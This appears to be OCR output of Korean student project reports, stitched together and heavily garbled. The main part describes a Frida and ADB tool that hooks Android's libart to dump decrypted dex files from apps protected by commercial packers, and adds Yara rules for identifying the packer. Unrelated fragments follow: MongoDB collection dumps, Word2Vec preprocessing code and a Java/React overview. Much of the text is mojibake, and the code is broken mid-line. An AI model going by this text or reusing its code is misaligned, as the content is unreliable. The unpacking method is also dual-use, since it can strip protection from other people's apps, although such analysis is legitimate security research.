printf(" [*] No packer found on clone pid %d, falling back to service pid %d\n", clone_pid, pid);
mem_file = attach_get memory(pid);

mem_file == -1
perror(” [!] An error occurred attaching and finding the memory ");
- o= 7
RS

23 40 2 A2 =]

284 A Za}

i BHAMCZ Ctsot 22 ZopJt LgCH o StEZO0|E 5 HESZ
A2 CtEZO|E 70AM 2to|ER{E| LFRE Qls|f Al XiA|7} Z/X| 2ot 2MS
ot 5= Q0| ChA| ZIZHSERUCE,

> A
02 o

HHER | H2DexF50E | 16HHSRFE | 2 DexFE0E | 18IH BF HE Dex FE 08 19WH SR | HEDexFE 0
15_Ali X 16_Ali X
15_Baidu X 16_Baidu 0 18_Baidu 0 19_Baidu X
15_Bangcle X 16_Bangcle X 18_Bangcle X 19_Bangcle X
15_ljiami (0] 16_ljiami X 18_ljiami 0 19_ljiami X
15_Qihoo (0] 16_Qihoo 0 18_Qihoo 0 19_Qihoo X
15_Tencent X 16_Tencent X 18_Tencent X 19_Tencent X

[ 23 41 Native Unpacker A7) A} ]

2.9 Frida Unpacker

2020 GithubOl S70=!l Fridroid-unpacker= CHE THFHO| CHo X|-A$HCH
Jiagu

DexProtector

DexGuard

Yidun

Tencent Legu

Mobile Tencent Protect

291 2X 24
Fridroid-unpacker?| XXl s &E2 Cta1t &0| ZTIHotC}

1. XERO|E HTS Zolstrt.

2. H22|0f F25t0] Dex 52 Odex2| OfA EHHE =fQlotCt
3. HA& ool Etat ALO|=F =holotrt.
4. Of% GH{7t =Qlof 7hSotCtE A mas FEotA ot
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_Le —&h

QIER0|E T ol Dex file} Odex file Dex file Et°'I'_ Dex file =
Magic Number 29I AlO| = &tol

[ 2= 42 Frida Unpacker A7) 17 |

292 EF A8
adb shell M=
M Ol=HO|EHQe| A|AE IO =2QIZ

o
=t
Q

o
O
(V5]

>0
®
(ol
o
2
i
o
2
|IZ'_
FOJ
n

Frida M A3
Frida At

eamds 1|1:-:I_hr|

eamql techn:

[ 2= 44 Frida A8 A& |

APK A X|
APKE AX|8}H &M J7|2MOZ /data/data/ Z20| THF|X| A|AH OO XA EICE
MHX|E Tf7|X|et HZ2E QSR Z EANOZ 2ty apkE MLt

| 15_ali.bat - Windows H2%

DEF) BIE) MUO 2 =STH

@ECHO OFF

nox_adb install D:#fadaptiveunpackertsamples15%2048_ali.apk
nox_adb install D:adaptiveunpackeritsamples#15%adsdroid_ali.apk
nox_adb install D:#fadaptiveunpackersamples#15Wamplayer_ali.apk
nox_adb install D:Wadaptiveunpackeri¥samples#15#androidcpg_ali.apk
nox_adb install D:ffadaptiveunpackersamplesi1 5%Shopt_ali.apk
nox_adb install D:ffadaptiveunpackersamples#15%Shorty_ali.apk

[ 22 45 APK Atz AR A3HE |

Frida 232 E M
Fridag &A5t7| ot @EE2 Ch=2ot 2Lt
® frida -U -f com.package.target -I dexDump.js —no-pause
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o, orpharn . ane =14 ikdarm

adb pull — Dex T} 2HE 71X 27|
adb pull HHO|E O|83}0] Dex WUS ZZ AFHE ZASI0 7HH 2L}
.ﬁ'les

B 1529.dex

W 20052.dex 2022-05-03 27 4:5

[ 23 47 Axjzd 2o 7HN 2

= %]

7t%l DexLt ¥z 3t = Dex?t AL ZE FZEE=ICL CHS (O 48], A&

Frida AIjZE &3t0f B2 Dex/t FEE|X| @f= OA[O|C} AT ZO| MCH=Z O|FO0X|X]|
£
| gihoo THFH7F AL El coinapkE OA|Z SFRUCE 2HQISHEH ST Dex

49]1= 15 HTECS

[ L o = = S S A
= #& Dex?} OtL2l= AES OAE S5t =olg 4= UCE
,&. Ne roje ' & *New Project - jadx-gui
File  Wiew Navigatic-n Tools Help e M Hawgaﬁo_n Tools Help
= i BE| s & | & |
TR e Lo

2} 28661 .dex
= (# Source code
£t com.gihoo.util
-3 com =] @ S_;Ear'Et.i\cti:luity :
o i i i ¢ e mEntryActivity String
= EIJ E:r:'r‘lak -coinflip i g onCreate(Bundle) void
+1

H A = (,9 Stubfpplication
=R::gqihoo.util

i & sollame String

7 coin_gihoo.apk
== Source code

+-(9 StartActivity - § version String
+® Stublpplication . attachBaseContext(Context) void
e .. i § copy(Context, String, String, String) boo|
o & RESOJE’CES & isSameFile(BufferedInputStream, BufferedI|
' APK signature ‘.o onCreate() void
[ 2% 48 TZE A 24 | [ 2% 49 A & 2% |
ojet BI 2 Chg WA= 482z A= Dex?t F=EC
SIS 2 M apke =3t E Dex2t B Stub &7t EXHSHA M, ¥z AijZ
El DexZE =QSHET Stub 27t ZMSHX| L s m7[X|Q] d&= RER EOIE A
= OAIE &35t0 =ele & Ut
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’a *Hew Project - jadx-gui
_EiIE \;fiew _I_V_aulgatiun Tools L!E\p
s|B@E|S s ale|@ o
73 3192794 . dex
o [ Source code
G-} android. support
com
Bioonos ok cointiis
- 8
v a
#.(@ AbouthActivity
5@ b
@ c
@@ CoinFlipActivity
5@ d
';:..(_3. e
=@ f
ne
oG h
G
(3@ InstallReceiver
©Q
- k
5@ 1
= @m
7@ n
& 0
+ @ SelfTestActivity
w.@ Settings
: . SliderPreference
| @ google
& 3 defpackage

[ 2% 50 Agmoe dngy 2% |

294 28 2M

Process crashed: Trace/BPT trap — Android 7

frida7t 21 A= A HREEH SEAIZ|= 02

Process crashed: java.lang.UnsatisfiedLinkError — Android 7

HH MY 7tsdol 3
libbaiduprotect_x86.so
ibsecexex86.s0 — WS EZSH= Package LYl A0l FZE 0] LY2S AtETE.
(ibsecexex86.500 E3 2& =X|)

libexecso — H™ ZX|

libprotectClass.so has unexpected e_machine: 40

libbaiduprotect_x86.s0 — Oi7t CH& 2| dexE Z25t WA M A2 HA

xX=x5 AL o
TEOEI' T 813

"/data/data/com.uberspot.a2048/.lib/libexec.so” has invalid shdr  offset/size:
1177/21000 — IjEg W &7t HPEX| %S WL -android-shlibE F=71SHA| &
fAs M ZYSt= 2F

cannot locate symbol "_ stack_chk_guard" referenced by "/data/data/Ii7|X|H
/files/libjiagu.so”

i

Process crashed: java.lang.ClassNotFoundException — Android 7

Didn't find class "com.banasiak.coinflip.CoinFlip" on path: DexPathList[[zip file
"/data/app/com.banasiak.coinflip-1/base.apk"],nativeLibraryDirectories=[/data/app/com
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.banasiak.coinflip-1/lib/arm, /system/fake-libs,
/data/app/com.banasiak.coinflip-1/base.apk!/lib/armeabi, /system/lib, /vendor/lib]]
- LS S 5+ UM HELE 2F

® Didn't find class "com.numguesser.tonio_rpchp.numberguesser.Guesser" on path:
DexPathList[[zip file
"/data/app/com.numguesser.tonio_rpchp.numberguesser-1/base.apk”],nativelLibraryDire
ctories=[/data/app/com.numguesser.tonio_rpchp.numberguesser-1/lib/arm,
/ s y s t e m / f a k e - | i b s
/data/app/com.numguesser.tonio_rpchp.numberguesser-1/base.apk!/lib/armeabi,
/system/lib, /vendor/Iib]]

- A XS+ QoM LiEtLE 2F

Process crashed: Bad access due to invalid address — Android 7
o ICZO|E HTO| X[ HOtM Zd5t= 27
~ B 9 0|48 MEl o7

Process terminated 2-F - Android 5
A& Dex= B FEEIX[T Process terminated 277t 7t LM SICE

Frida 15.1.17 - A world-class dynamic instrumentation toolkit

Commands :
help -> Displays the help system
object? -> Display information about 'object’
exit/quit -> Exit

More info at https://frida.re/docs/home/

Connected to SM-N976N (id=127.0.8.1:62026)
5pawn1ng *com.idunnololz.igo"..
[689:39:087:0u9] [%] Android vers : 5
[09:39:07:054] [*] Export index: 1754 —> _ZN3art7DexFilel@OpenMemoryEPKhjRKNSt3__112basic_stringIcNS3_llchar_traitsIcEEN
S3_9allocatorIcEEEEjPNS_6MemMapEPKNS_70atFileEPS9_
[09:39:07:058] [*] ProcessName: com.idunnololz.igo
Spawned ‘com.idunnololz.igo*. Resuming main thread!
[SM-N976M: :com.idunnololz.igo ]-> [©9:39:07:889] magic : dex@35
[e89:39:07:889] size : 21452
[©9:39:07:089] dumped dex @ /data/data/com.idunnololz.igo/21452.dex

[SM-N976MN: :com.idunnololz.igo ]->

Thank you for using Frida!
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Yots Rt g8 2T = Aok HE "HA0M FRY YES FEOHH A
Hote BEOZ O|RO0{M QUCt

3.2.1 o7

AMFAH = 2 O A ARE Sl 7|&L2] S7HE 7Rl Native Unpacker2t
Frida Unpackerg Hlw 24 = § d&0| FO{%WE Frida Unpackerg 7|&22 TId5}
Al E|ALCE
20l = Yara RuleO|L} Frida ScriptE ArEdliofetCt= 2 M5t Python ZEZ 7
SHRACE

02

1. ADB ¢%
QU7 Al%2 H

2 TX o2 0lH0| APKE HX|s{ofstCt. Of7|M EX= APKE X5}
7] *siM= APK IYES O|l=20lHE S AX|StAHL ADB FHE 0|80 HX|Z
= A=l AHs2E HsiMe Ao WS MEiT o 5o URUCE ZBHE2E Python
oA ADB HHOIE AtE3l7| ol pure-python-adb 2h= TIHZ|X|E HEX|st0] TSI

Ct. ZE0|M ADB H&%t= &2 ChEat ZCh

ect(self):
AdbClient()
f not cliemt:

log.error_{'Client connect error"})
= client.devices()
evices:

log.error_('Device not found®)

f len{devices) » 1:

log.info_('Multiple devices detected, please select the dewice')

for 1 in
log.info ("%d : i{i+1, devices[i].get_serial nof)))
num = imt{input('> "))
self.adb = devices[num-1]
plze:

self.adb = devices[@]

log.info_{'ADB connected : %s' ¥self.adb.get_serial _nol))

[ 21 54 ADB 2 FE |

28 A2 Al A== 71717t sttt Arsez AZALX|T ofEol 71717F X[E Al
Ctg1t 20| HX[E 7|7] & 3iLtel 7|7|18 d&st= =tH0| SH el

—
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2. APK A%
ADB ¥Z = adb.install HHEHE ARSI APK It HX|E 2
W7|X SE2 M=

R —

A0|Ct ol2fet arEE HRle A2 &
= Ij7|X| O|ES F&ot= g W HX[= AO|L.

== Unpacking Start =—=
Multiple devices detected, please select the device

: 127.0.0.1:62026
2 : 127.0.0.1:62025

[ 23 55 ADB d2& 7]7] A

lef install apk(self, file):
before self.adb.s
if (self.adb. allfrllrlﬁ

log.info_('%s install success®' %file)

diff = dmp.diff_main(before, after)
dmp.diff cleanupSemantic(diff)
For 1 in diff:

if (ife] ==

self.package name = i[1][&:].strip(*\n’

[ 2™ 56 APK MA] ZE |

3. Frida ¥ &

S APK EA] O/ NTHoZ MHYS NWSE AAUSE NWS| N Frids M
B9 Q1240] AFMO| O|RO{HO} oF7| 20| Frida ABiet H1ZS Tgsict

1).attach({self.pid)

%{self.package name, self.pid))

Frida 22t0|2E B AMH= frida githubE Sl &S = UMD, SEH0|AEL B2 pip
b | 82 AY &80 &&= TS 2ot o= 0lH

YO E oM &S = UKL A2
Ct

of 2X[sofet
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d2q:/data/local/tmp # ls
frida-server-15.72.2-android-x86

d2q:/data/local/tmp # _/frida-server-15.2.2-android-x86 &
[1] 4995

re.frida.server

[ 2= 58 Frida MY A3 |
C:\Users\okkoZ2\OneDrive\Desktoph\git\Android-Unpacker-Project\unpacker>frida --version

cro|28{2|7} ettt AmES

S FoloF St O <5 AFEO
= HHO| met =F5ks 20|23 2§ ChEA St

oF
SH
=]
=

i

M re re ™
r
;
QO
o
O
[7)]
>
@
mlo
ofm
o]

i “getprop ro.build.version.release” HHAE MW}

o o
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getFunc: function {and_wver)

function_name = "';

android_version = parselnt(and_ver);
if (android_wversion > 4) {
var 1ib_name = android_wversion »= 18 ? 'libdexfile.so" : 'libart.so'

var art = Module.enumerateExportsSync{lib_name};

i< art.length; i++){
if{art[1].name.indexOf {"OpenMemory”™) !== -1}{
function_name = art[i].name;
return function_name;

se if(art[i].name.index0f("OpenCommon®) !== -1}{

(android_wversion »= 18 && art[i].name.index0f("ArtDexFilel oader

continue;
function_name = art[i].name;

return function_name;

fandroid 4
var dvm = Module.enumerateExportsSync{®libdvm.so0™);
if (dvm.length !== @) {

for{i = @; i< dum.length; d++){

if{dvm[i].name.ind ("dexFileParse™) !== -1)}{

function_name = dvm[i].name;

return function name;

Module.enumerateExportsSy
= @; i< dum.length; i++)}{
if{dvm[i].name.index
function_name = dvm[i].name;

return function name;

"y
J

e

1)




AEE ZQISHEH rpcexports M9 F getFunc : function (and_ver) 22 Zolg
A0 Ol= TOPMOIA frida js 2ATEE MEY = UEE dt= YWHRE Ct31}
O] gt=2| 0|5 mWo|¥ ZEE HZ = UL
elf.package_name])
.attach{self.pid)
: ®¥s(%d) " %(self.package_name, self.pid})

6. A FF

A FZ2 O|FIK| HSH ASROS BT, B4 0|8, HIIX| 052 AHBBHO)
WECh £ES HH YSY FHE2 TYS T Y ULE HORE oM HA or
HAE EX[St, PHoF EX[7F EQUCHH i S =St AR F™AECL
7t WA molMolN HAFE Zhe o MEYStn 2P ool ME2 ChSat
o] FIMEITt

hook: function (func, proc, wver)
var moduleFuncName = func;
var g processhame = proc;
OsVersion = parselInt{ver);

console.log{"[*] Dump dex start"};
if(moduleFunchame !==

var hookFunction:

if (g Android0OSVersion > 4) {

hookFunction = Module.findExportByMame("libart.so",

} else {

hookFunction =

if({hookFunction null) {

hookFunction =

QAR A%

i
o
0.
U
n}
4>
2
O:

_37_

Module.findExportByName("libart.so",

moduleFuncName ;

Module. findExportByName("libdvm.s0", moduleFuncName};

moduleFunciame) ;

>

o ™

my



ie)

ot

oY ot

FU oot

n
rr mn

Interceptor.attach{hookFunction,{
onEnter: function{arps}{
~ begin
- dexMagicMatch = false;

- odexMagicMatch

dexMagicMatch = checkDexMagic{args[8]);
if (dexMagicMatch === true){

begin = args[@];
relse {
odexMagicMatch = checkOdexMagic{args[@]);
if (odexMagicMatch === true) {

begin = args[@];

if (begin === 8){
dexMagicMatch = checkDexMagic(arg=[1]);
if({dexMagicMatch === true) {
= args[1];
Jelse{
odexMagicMatch = checkOdexMagic{args[1]};
if({odexMagicMatch === true) {
begin = args[1];

if (dexMagicMatch === true) {

dumpDexToFile{dexMagicMatch, begin, g _processName);

=]

- else if(cdexMagicMatch === true) {

dumpDexToFile{odexMagicMatch, begin, p processhiame);

[ 3% 64 ¥4 $7) 2E |
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8x78, Bxba, 38, 8x33, &

(Memory .readUs{ptr{datafddr).add(i)) !== magicFlapHex[i]){

ma

for(var i
if (Memory .rea (ptr{datafddr).
magicMatch = false;

break;

return magicMatch;

[ 2% 65 &lA 9 o

[>

sshame + "/" + idx + "_" + dex ze + "." + dexType;

dex_file.flush

dex_file.clos

console.lo [*] magic : " + magic
console.lo [*] size

console.lo
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7. ¥2 " oY =&

S50 259t gA o2 o2 0lH RO MYEOUY| IZ0| Ol F=&dt=
apgol Hastot ol ®A I /data/data/[IH7|X[0| 8] 20| MO UG =
E Al SiY 20| ZE DIYS FESICL BE OtYE2 FESHE OlfE IHZE ¥o| A
WE I FILE ARBSH= 2lolEE{2|Lt mol /A = UV WEo siE F=Eo| U=
QE o

out file self.package name+'.tar"

out_path = '/data/local/tmp/’+out_file

1f.adb.shell("tar cvf %= -C /datafdata/%s/ .' %({out_path, sel

f.package name))
.adb.pull{out path, out file)

.adb.shell('rm "+out path)

.adb.uninstall{=elf.package name)

OX|fe2 AMASIHM 250 2= FEoF FEot f&2 Y20M Q0IUs ZAHE,
Al S 25 Z&th json LS FETHCL 0|9 20| FEdh= Olfe ¢Heo FE
£ =2oloh| M= AXITE BN A SEE =95H7| flgt= ULk
ZAE FE Al AFEStE €122 FF MEHANM 7|222 Ar8d5ts €125 S
ACHE ARESHACE

ndroid version'] = self.and ver
.json_log[ 'package_name’]
.json_log['process_name'] = self.process_name
.json_log[ 'function_name'] = self.function_name
self.package_name+".tar') as
file list = tr.get [
file list s ="'

= re.compile

self.json log[*

self.json log[*
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C:\Users\okko2\0OneDrive\Desktop\git\Android-Unpacker-Project\unpacker>python main.py 2048_bangcle.apk
=== Unpacking Start ==

Multiple devices detected, please select the device

1: 127.0.0.1:62026

2 : 127.0.0.1:62025

ADB connected : 127.0.0.1:62025
2048_bangcle.apk install success
Frida attached : com.uberspot.a2048(5436)
Android version : 7.1.2
Function name : _ZN3art7DexFilel@0penMemoryEPKhjRKNSt3__112basic_stringIcNS3_11char_traitsIcEENS3_9allocatorIcE
EEEjPNS_6MemMapEPKNS_100atDexFileEPS9_
[*] Process name : com.uberspot.a2048
[*] Dump dex start
[*] magic : dex@35
[*] size : 21272
[*] dumped dex @ /data/data/com.uberspot.a2048/1_21272.dex

[ 23 70 dufxd &3 2y} |
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3.2.2 I|#H EHX|

71E0| L= APKID2| Yara A3 EHEE 0|83t Yara =72 24T 73% L& oA
A7t SE2E LIt ot I{FH 7t AL =X ey £+ gith

2 AOLME 8T 40| EXSHX|T, 55 MAH SM0| EXSIX
f of< =Heto| EXHSHC, [[fEM‘I Yara®| Python ZES O|%3f0:|
XL EXIE AOLUXNe| 5 A ZHMTS M3t Yara-Rules 7HE

mrir

™ E gvogp
0% N oo >
10

Jot
oM ro
JHI ot

o
b4
]

1. APK o+ x|

Yara RES £2{21 Y 0|E0=F APK LYY YHe=C} O|0{A Yara-RulesS
Soff sffe mO| APK LtUQIX| OFHX| 9 7|M stringse B XZl= AIDUNME

—|'3'|0H31 EXIEO|Lt Hex #tS YEHSIC APK It OfRE =0I5t7| 2SiA

o Lj&of EX¥Z "PK"?t "AndroidManifest””? —".f—XHOWﬂ o™ APK LtO|2tE= A2

& 2= QUCH J2|1 condition2 stringsS Solf &QIX| HAQIX| THEHGLAH |1, &HO|H

YHEQ APK IS =5, HA0|H SHEX| 42 APK TP E SHEICH

Il

import yara
import hashlib

filename = input(“APK 122

is_apk = yara.compile(

source="rule 1is_apk
{strings:$zip_head = "PK" $manifest = "AndroidManifest.x
condition: $zip head at @ and $manifest and #manifest >

np

)
apk_match = is_apk.match(filename)
if len(apk_match :
print(
lse:

print("=HZ7

E}

a

[ ]

T2 71 APK mp &x] 3E
2. 1|7 EHX|
CS 22 IiAHO| CHSE Yara-RulesO|Ct @ &2 Alibabatte IjHE OAIZ SIF SO,

stringsE & Y XY 20| EXSIA = condition2E HHSEIO Alibaba D742}

= Ag 2oz 5+ ot dz2(2 oje O E I{HEE ? A S Lo stringss Sl
=AEAALHM)E BASHL, EXE 2AEAALM)E 7[#I22 conditionOf A THESE
O Ot {77t AFEEIEX] EH3EZ OHE IAHSS i Al A== dEfetth
d2|1 YF 7o B2 522 A7 £/ mj7 TEO| 2/tsUE EMES HM
oto] 2= mjH7b StLtol miFH T HRIE =5 7§ ESHRAL.
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alibaba = yara.compile(
source="rule alibaba
{strings:$1ib = "libmobisec.so

condition: $1lib}

alibaba_match = alibaba.match(filename)

[ 2 72 ifA A ZE ]

3. BXIE AlALUA F5 HA

BE A= "AlE AMALNe =8 ¢S =AW EHE S22 AL oie =HY
O ZXstA =t et Held MES fIsi Python BtE=S AHESH0] EX|E AldY
Xol B85S MAS=E JHLSIRACL | D22 Alibaba IHHE GAIZ 0] EX|E AD
LME S5 M7t 2E=0|0, 0|2 O E THSS &5 MAH: St /HEEA=22

2 2 S0 52 N Ros MeBi

if len(apk_match) == 1 and len(alibaba_match) == 1:
print(f"{filename} Ui = alibaba U{ZFHZ!L|C}.\n")

print(f"{filename}2| =A|=l A|_IL|A™)
signature = alibaba_match[@].strings
signature_list = []
for x, ¥, z in signature:
if z not in signature list:
signature_list.append(z)
i in signature_list:
result = i.decode(encoding="utf-8")
print(result)
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if len(apk_match) ==
apk_file = open(filename, "rb")
apk_data = apk_file.read()

apk_file.close()

print(f"{filename} U}2/2 (MD5, -
print(“MD5: " + hashlib.md5( apk data). hexdlgestll}
print("SHA-1: " + hashlib.shal(apk_data).hexdigest())
print(“SHA-256: " + hashlib.sha256(apk_data).hexdigest())
[ 121 74 APK ot sfA] &2 1t |

O IH¥S 2F AXH o321 22 =5 =tHS 2oz = bt

2048 ali.apk Ui : i IHAH el LI Ch.

2048 ali.apk®| EtA|SE Al L=
libmobisec.so

2048 ali.apk It2 2| # Al Z % (MD5, SHA-1, SHA-256)

MD5: 652bdaSf7b8155f413577528e8bdabfc

SHA-1: 4ccd3909dba2908789d338035b8408d1d4dbe8e9a

SHA-256: 9e529c4e3402b208f955bl1fb6fddd493816fcccd48acl1981fdBalaed35d85ach3
[ 2 75 Yara &3 Zi} |

4. A=
41 2E

QEMAZ ZIHEl Native Unpacker @t Frida Unpacker & £41510] @& Dex LS
FEots g 8 o7 ZnE =Y + UR/UACL AmA HE2 ZAE SO =y
T UAXO0| 4&0| L4+H}H Frida Unpacker & 7|E22 WLeS ZTASIACE EoH THA
MEE QI5t0] REAARZ ZIHE Yara A|DLME S8t 2t THAHOICE ALEE= 2}0
s2|Lt 2laA oS AESHD oot IiFH7F AFBEIRA=X] AT 5 AUCE 2FH
oz oY ¥ mMUS YZESHH ABE mfAH AEar X E 2tojE2g| 8 2las 2ol
S HE Dex MY F=Z THoCL OXTCzZ opd A2 AlEY = UAZE MDS5,
SHA-1, SHA-256 dfAlgts &St =78 WEE + AULE
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C

k<

\Usershokko2\OneDrive\Desktophgit\Android-Unpacker-Projecth\unpacker=python main.py 2048 _bangcle.apk
A

se
&= 9l apk T YL CE

2048_bangcle.apk Il 7 & bangcle uj 7 &L Cf.

—— 2048 bangcle.apk®| EHAE AL X —
libsecexe.so

libsecmain.so

bangcle_classes. jar

2048 _bangcle.apk It O Bl Al 2F =2 (MD5, SHA-1, SHA-256)

MD5: bbfcc@d68853c5a8b@aa2@8309d461 16

SHA-1: 4ee91292f6165b4aeacdb946c3cdaallelectl184

SHA-256: 0be1815300c4e18013010a0165287e20ed5c625ee1a81af3d78d85058F2abadl

= Unpacking Start —

[*] Multiple devices detected, please select the device
1:127.0.0.1:62026
2 :127.0.0.1:62025

ADB connected : 127.0.0.1:62025
2048_bangcle.apk install success
Frida attached : com.uberspot.aZ@48(5436)
Android version : 7.1.2
Function name : _ZN3art/DexFilel@0penMemoryEPKhjRKNSt3__112basic_stringlcNS3_11char_traitsIcEENS3_9allocatorlIcE
EEEjPNS_bMemMapEPKNS_100atDexFileEPS9_
[*] Process name : com.uberspot.a2048
[*] Dump dex start
[*] magic : dex@®35
[*] size : 21272
[*] dumped dex @ /data/data/com.uberspot.aZ048/1 21272 . dex

[ % 76 25 5% 27 ]

IEZO|E oMl ofd W2 F= PSS o HAIE R25HAHL 245 g
SICh o2t 2dE dfEst|elol HIE =S JHESIRA2N, AEXAt= O =15 Al
8510 ALES el FF, H2 H2, oldkls 2XAE, diAl i S LYt BEE =5
g+ UALh HBHR #4750 e o4d ¥s =M O #Helgl ol 2 A
Ze £ BM Al AQ3H= AIZHE Y £ UL}
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if len(apk_match)
print(f"{filename
print(f"{filename}
signature = alibaba_match[@
signature_list = []
for X, y, z in signature:
z t in signature_list:
signature_list.append(z)
for i in s ture_list:
result = i.decode(encoding
print(result)
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if len(apk_match) == 1:

apk_file = open(filename,
apk_data = apk_file.read()
apk_file.close()
print(f"{filename | oAl 2t =2 3
md5 (apk_data) .hexdigest())
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MongoDB
categories
Storage size: Documents: Avg. document size: Indexes: Total index size:
20.48 kB 8 178.00 B 1 36.86 kB
customizes
Storage size: Documents: Avg. document size: Indexes: Total index size:
20.48 kB 3 166.00 B 1 36.86 kB
orders
Storage size: Documents: Avg. document size: Indexes: Total index size:
20.48 kB 1 312008 1 24.58 kB
products
Storage size: Documents: Avg. document size: Indexes: Total index size:
20.48 kB 9 936.00 B 1 36.86 kB
users
Storage size: Documents: Avg. document size: Indexes: Total index size:
20.48 kB 2 264.00 B 2 7373 kB
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- Categories

_id: Objectd("6321ac1dbcaadf Of 066f 329 )

cMame: "Hf"

chescription: “iff"

cStatus: “hctive”

clmage: "1663151133737_kisspng-dog-bone-icon-bones-png-photos-5aY818a 153716, 02- -7
createdAt: 2022-09-14T10:25: 33, 777+00:00

updatedAt: 2022-09-14T10:25: 33, 777+00:00

_wr 0

— Customizes

_id: Object |df’ 631ed36546f ecT04085F 1035°7)

firstShow: 0

slidelmage: 1662964554703 c|oseup-shot-f resh—f ruits—with-different-medicine-wooden---~
createdAt: 2022-09-12T06:36:24,972+00:00

updatedAt: 2022-09-12T06:36:24,972+00:00

— Orders
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> pRat inasReviews: Array
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updateddt: 2022-09-14T10:30:19,550+00:00
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Git: https://github.com/Song-eungi/server
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https://github.com/Song-eungi/server
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“dlolg ¥ N2l / E2al/280 HIA”

| data.drop_duplicates(subset =
datal ‘MAINFNCIN'] = datal MAINFNCIN'].str.replace("[*7 -0 -1 2p-%
tal MAIN_FNCIN'] = datal MAINFNCTN').str.replace(™" °, *°) # ZU&
datal MAINFNCTN' ), replacel np.nan, inplace=True) # §'—!§ Nl WS B
data = data.dropna(how="any’) # Null 3t B

orint{’ZM2l ¥ GIAE8 JFA MW+

det preprocessina(datal
textdata = [|

tor sentence In data:
tesp.data = 1]
4220
tesp_data = okt.sorphs(sentence, stea=True)
#- B0 WA
temp.data = [vord for word in temp_data |1 not word in stopwords)
text_data.append(tens dat

text.data = |ist(sas(’ “.join, text.data))

return text_data

text_data = preprocessing(datal MAIN.FNCTN'])
print(text_datal0])

UMAINFNCIN' ), inplace=True) # docusent ﬁﬂ(IM XY W80l ACH FX AA
TR BUY SY
ety A2Z BT

AH == HE 2= ¥E &8
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2000 % 2% ¥e

tvx@OQ N

170w gensin.sodels insort vord2vec

2w ue

T FALE Word2vec

wdel
L2014 04:84:35, 375 : IND
2022-05-14 04:24:%. 386 - INFY
20020614 O4:44:36.308 ¢ INFD
CHo| ZF f2lo|st FAIEE =cinuza w
I' 11' ojg ‘ITA E = 214 04:84:35, 402 © INFO
20220614 O4:&4:36, 405 © INFD

Hl-%fa'l‘ A Ol 2 202514 O4:84 3,406 © i
= = T ME | 2022-05-14 O4:84:36.410 © INFO
220514 04:84:35, 412 ¢ INFO
I:l'oi_ol _°| ul = 2020514 04:24:3%. 414 © IND
B = 20214 O4:84:B. 41T  INFD
R 2020514 044413, 420 © INO
el E«Igl. Sk A ol Hr“" L2614 04:84: 36537 ¢ INFO
1 = T AT =] 2C2E-18 O4:84:36,577  IND
2000614 O4:44:35, 581 © INFO
18 04:44:35, 605 © IND
20220614 O4:84:36, 567 © INFD
20214 O4:44:35,629 © INFO
20020614 04:64:35, 636 © INFO
2002405-14 O4:84:%.647 * INFO
202205-14 O4:48:3,68 © INO
C2-C14 O4:64:35.,685 : INED
2020614 OU:44:36.631 < INFD
2022-05-14 04:44:36. 72 ¢ INFO
202-05-14 O4:84:3. %G - IO
202205-14 04:84:36.78) * IO
2020614 O4:44:36.785 : INFO
14 04:4:%6. 756  INO
2220514 O4:84:36.757 © INFD
20205-14 04:24:36,73¢ © INFO
2020514 04:44:36. 600 : INFD
2022-05-14 04:44:36.806 : INFO
Ho2 14 QLU | MO

2020514 05

& 1
e asiete morgive Borgtiee

wodel = vord2vee Sord2Vec(Xtrain. sin_cousts))

oattarn’ package sot fousd: tag 1ilters are nat wvailadle for Enghish
collecting al| vaeds and their cousts

eace #0, processed O vords. keesing 0 vord tyves

156 seatences

sent
01 1#¢ted 505 90rd Tyws 1ree & corpus of SH5 raw vords

o

vorss
28300 vord corpus (44.6% of prior SHE5)
“AkToated racuired anry 16 S0 vords sod 103 lesmsiomss GETEDD brten

ing layer veights

teaining wodel with 3 vorkers on 506 vocadulary an 100 features, wing $3=0 Max0 528014%0.001
worker thread finished: aw i
vorker t!

24042 o tack e worde) tosk 0.0n, SIEOBS effactve vor
vords) took 0.3, 44305 effective vords/s
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Cto| S ALE Word2vVec

word = pd.DataFrane(modal . av.wost_sinilar{"# S, toen=10), colusns=["SHH ",

word. head{10)

S RAE
0 NE 0985510
1 Y 099IM
2 2E 0993085
3 E 0992077
4 I 0991875
5  BE 0950909
] 4 0990166
7 AEE 0950104
8 ¥E 0989305
9 U 0989067
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200 .

it
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Mk,
L
il

“19712] 7|52 27"

¥ stroreplace : W
uatal'nln.rumn'

M SHE sickz 8W
datal “MAIN_FHCTN" | .str. reelaca(
3l =)

= danl'mn FHCTN" ) .5

tr. replacal

.=
datal MAIN_FHCTN") = mal'mu FHCTN" ) str. reslacel
27

datal WA IH_FNCTN®
L

datal mAIH Flll:m'
&

e

= datal “WAIN_FHCTN" | otr . reelacel

WUz

= datal “WAIN_| FHIZIN I.str. reelacel
WM

A%

datal” Iuln FIIE'IN | = aanl MAIN. Futm 1.5te. reelacel

BAED

datal nm Fm;m = qa:pl'mu FHCTR" | st reelacel
e =
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CHIET, M)
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UL
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L
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g, HE-
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W, E
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= datal “WAIN_FUCTN | st replacel
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o -0

datal”| I'MNJNE'IN | = danl MAIH_FHCTN" | .str. replace(
A3,

datal I'aINJNE'IN | = datll IMNJIIE'IN | .str. replaced

datal” mn FHCTN"]

datal'nm_wtm'
HEET,
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SRR
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Red e’ 4 R r Chn L fbw fohe fmme e fte  Fohe fae foe fabe i Tue Fahe fute fabe fahe o Fae fave Fabe
2 Do k-o-c:;‘ii "::!H"‘ Falie Fuie Fise Fane Fae Ve Fave Fae Fame fuse Tue Tre Fake Fane Tue fane Fane Fabe Fahe
3 Simmis O AT E TS 2RI foe roe fae Tahe Fane  Fate fte Fge Tae Fase Tue Tue fae fase fabe Tue Fabe Fabe Fate
Domuon TRE MBS0 TE2S B
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XtHb(Java)= 1995 H M OFO|ZZA|ARZO|M ZHESH M X2 T2 A0

AtHbE 7hset H2 3454

= HAEE HAERA2H "Programmers wirte once, run
anywhere(WORA)" 2} #0| ot Xdot IES BE=

EAUE0M HSAZ = U=
HEXOl A2 ™ MASl H2 Back end 7HEX7F MEHSHE °._1010|'31 o NAESZ
E0gE JfUXHE 9 SHOIHO|CE ESH Android ¥ JHEES QT RSt S4] o=
Amazon, Twitter, Netflix & B2 AMH[A0M ARESID 2D A -f—%, HAFH S

| A
~
2 XM Hd0| “tsoithks gFOol ULk Hetllws HAEREEET LT Java

b
T YA Spring & AHESHLL.
2.2 React

2HEE Ul XHHIAIEE ZiojE232|2M &2 HOo[X| ofE2|AH0|M9| Ul(User
nterface)& MMdt=0 =3 2toj22{2|o|Ct, EI EE KHAIEEQY HTMLE E

